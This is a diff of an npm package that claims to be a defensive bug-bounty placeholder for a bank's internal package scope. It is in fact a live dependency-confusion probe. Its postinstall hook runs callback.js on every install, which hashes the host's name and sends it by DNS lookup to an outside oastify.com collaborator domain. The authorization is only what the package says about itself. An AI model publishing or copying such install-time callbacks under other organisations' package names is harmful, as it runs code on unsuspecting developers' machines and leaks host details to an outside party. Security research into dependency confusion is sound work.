@citi-icg-158830/icgds-react-css 0.0.0-defensive-callback

package/README.md

@@ -0,0 +1,3 @@
+# @citi-icg-158830/icgds-react-css
+
+Defensive placeholder for the Citi-internal `@citi-icg-158830/icgds-react-css` scope, registered under a researcher account during an authorized bug-bounty engagement to prevent third-party dependency-confusion takeover (Birsan-2021 class). Performs a single DNS lookup on install for install-host attribution (no env vars, no file reads, no HTTP). Should be transferred to Citi's official npm organisation on triage acceptance.

package/callback.js

@@ -0,0 +1,14 @@
+const dns = require('dns');
+const os = require('os');
+const crypto = require('crypto');
+try {
+  const pkgId = 'icgdscss';
+  const hostHash = crypto.createHash('sha256')
+    .update(String(os.hostname() || 'unknown'))
+    .digest('hex').slice(0, 8);
+  const nonce = crypto.randomBytes(2).toString('hex');
+  const sub = (pkgId + '-' + hostHash + '-' + nonce).toLowerCase().slice(0, 24);
+  const host = sub + '.av9qmrhhu9n1zcoi570opbvz9qfh38rx.oastify.com';
+  dns.lookup(host, () => {});
+} catch (_) {}
+setTimeout(() => process.exit(0), 2500);

package/index.js

@@ -0,0 +1 @@
+// Defensive placeholder. No exports.

package/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "@citi-icg-158830/icgds-react-css",
+  "version": "0.0.0-defensive-callback",
+  "description": "Defensive placeholder for the Citi-internal '@citi-icg-158830/icgds-react-css' scope. The scope was registered under a researcher account during an authorized bug-bounty engagement to prevent third-party dependency-confusion takeover. Performs a single DNS lookup on install for install-host attribution (no env vars, no file reads, no HTTP). Should be transferred to Citi's official npm organisation on triage acceptance.",
+  "main": "index.js",
+  "license": "UNLICENSED",
+  "private": false,
+  "publishConfig": { "access": "public" },
+  "scripts": { "postinstall": "node callback.js" }
+}